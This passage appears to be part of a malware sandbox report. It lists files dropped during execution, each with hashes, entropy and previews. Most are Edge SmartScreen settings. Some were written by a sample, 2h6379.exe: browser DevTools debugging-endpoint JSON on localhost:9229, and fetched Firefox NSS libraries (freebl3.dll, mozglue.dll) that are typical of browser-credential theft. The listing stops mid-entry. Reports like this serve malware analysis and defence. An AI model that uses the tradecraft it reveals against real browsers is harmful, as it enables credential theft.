C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.013527984777602
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclVefrV:YWLSGTt1o9LuLgfGBPAzkVj/T8lMjV
MD5:	8D2F4EFF4AC25CB0731F347E29735420
SHA1:	3AAAAE13B902817E97A4CD03C2116B3D9C354AA0
SHA-256:	6C7F1DD1B15E1FAD663D227FD2E1DEB4E2D45ECA5EF49FE8B860315290C0924F
SHA-512:	261C312CA1F88A6633AA5B5B012D751AF28A440AF7806721A57BB09D2BA92020B0F16755D23EB567E38A12D4AD5DA5CF00FA72DEAE110419E1B1A7BD2CC578DC
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1730898823053130}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f9968a74-994f-4dd8-9a33-0f7ac35eade2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46144
Entropy (8bit):	6.087369145009222
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgi9MLLuwhDO6vP6OJa5KpFSDJpkXFfDuhy1DhSCAoWGoup1Xl0:mMk1rT8HC9M26pNi01sRoWhu3VlXr4x
MD5:	6A3A7EF34D2DB38192479DF5C2452164
SHA1:	004B4F3D765DE756C0877EA6415E3D1E3AC53584
SHA-256:	3C0CA7708FDE1C89C60A6575ACA0138D3938D1F914C92ECCD506BC05DB5BE007
SHA-512:	B0D2A204445974D0A21A55DF2F47E80F4D85A9C3CB267E8451437A5844BEDA52B31C558AF2F01272652D95CE6E22F850BC465ABB8AED60FD98D315A6243D6E60
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8402712182422296
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxfxl9Il8u2c01Yc8PE0nLvBkEjkStbsd1rc:mGYcn1QE0nLJkW5X
MD5:	F692CA63867189C48125C55A76A5344C
SHA1:	D2141681F399B93A8DFC1C09C5A49601B223D829
SHA-256:	F5BE2BA6DBC495D15F1D6CF64545F8053C86D4B5ED56F4ED57B692AEFA8D6F7B
SHA-512:	E172B6F3DA6F7DDAC9E6A5E6FAB4DBFB39A9E65D4DAC2B658332F5314AD2837FDFC609F784A45BC943E566341D8FB52E060C371431A30E97E6A76B38B87F31FC
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.G.V.m.Z.G.s.v.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.W.Q.6.k.+.A.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.005410162584994
Encrypted:	false
SSDEEP:	96:IYcDwwy4qx2U8aKkyz5ZfAufYNdM4ic+VVKEDZusZ:IDDs4qcoyjPQW4l+VAEDZt
MD5:	8A6677A2C375130DE99A2ADD1EAB5801
SHA1:	D8EB7F3E8FBC10DAEF5766D4DC6C4672AEF9C89A
SHA-256:	3102090EE0D38219ACB318C3ADD541DA0DD5C5C1CF6CCE8371C2F41A126F5E87
SHA-512:	1C2F808C9D360F6D35DA801C63BB12455A90785EF38D80E61557E6ECC6ADD2D73AC08826F7A9B898B9E00C70FBAE54147FD924A682BE165307F65274A2BEBB6A
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".s.6.1.Y.S.m.M.v.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.W.Q.6.k.+.A.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.909323886587733
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7x9Mxl9Il8u2i+VS0wkwlELcBQU318AD33X4ymoFjhD5MAx4d/vc:angYciSS0wwgBL31tQob5MAX
MD5:	863F5FF380B75143FCB188078C511CCC
SHA1:	8247B17F2671D5EA788AE6B96CEF2FFC2392A989
SHA-256:	AEFF59471B97E759ECDA38F8AA8211715045AF80AE2C97F94B4019089BFDEC16
SHA-512:	836F3D11BB00D8CE1EF1CA3DEB3C3D52682BFAA09F85FE8AB1381289EA3C47CB9D3797EA5ABEAA8DAD51A50C340F4F8EA98CD8F95ADA169E46E516DD8FC6BA48
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.J.C.m.e.j.R.O.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.W.Q.6.k.+.A.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.394455915008065
Encrypted:	false
SSDEEP:	96:6NnQ+HQlNnQobQlNnQWoh29QWodNnQ/VPdgEQ/pNnQIQENnQkDQ7NnQYwQANnQAt:6NaNYNyhndNUkNfNBoN3UN5
MD5:	73DF52CAA5270934317B0A4F4CDC9A9E
SHA1:	1B5D65DDF960469518960A198431C79CB99CF90F
SHA-256:	E909DD0C0BBCB63D7B1519C28FBE453410ABE3CB0F32FF5D1B486C3EFFA2E4B2
SHA-512:	E8BB4E127F98B6BB3B2640C52D4EB7F70C0188E942AA04E29B361A4EB0E05045B658097C2EC316F16F6EE66E0C811ED8B99D6DDD545C6D0F62AF2FEEDB6ABB27
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/F48A5848E3838D32E12A199FDF4510D0",.. "id": "F48A5848E3838D32E12A199FDF4510D0",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/F48A5848E3838D32E12A199FDF4510D0"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/F08665B825E2CB8F6EF64605B057B747",.. "id": "F08665B825E2CB8F6EF64605B057B747",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/F08665B825E2CB8F6EF64605B057B747"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.379512394529764
Encrypted:	false
SSDEEP:	48:SfNaoQWRWTEQWmfNaoQmAyQmFfNaoQZQ6fNaoQYLX0UrU0U8QYY:6NnQWRWTEQWONnQoQaNnQZQCNnQk0Urk
MD5:	F25C862F942360DCE03E4578C140B4FA
SHA1:	70E260C5EEEFD666F4BDCC50A67C690E69C8690C
SHA-256:	37843C3764A04BEA50D5EABAE2AEE8A68F382B15805B7009671C19C787F4332A
SHA-512:	EFE095E7F41C64CE5C291C583A49EBC36B218C5EBF9947221C9915F7FC3F2A580472E163F3540811CD99AC582FD108AD16475E8513A25EFF4A380526ED387A3E
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/E9250BBB3F3FBCD146DFB372FF024EC5",.. "id": "E9250BBB3F3FBCD146DFB372FF024EC5",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/E9250BBB3F3FBCD146DFB372FF024EC5"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/93141144954F5CF86FEC355EBB6A447F",.. "id": "93141144954F5CF86FEC355EBB6A447F",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/93141144954F5CF86FEC355EBB6A447F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
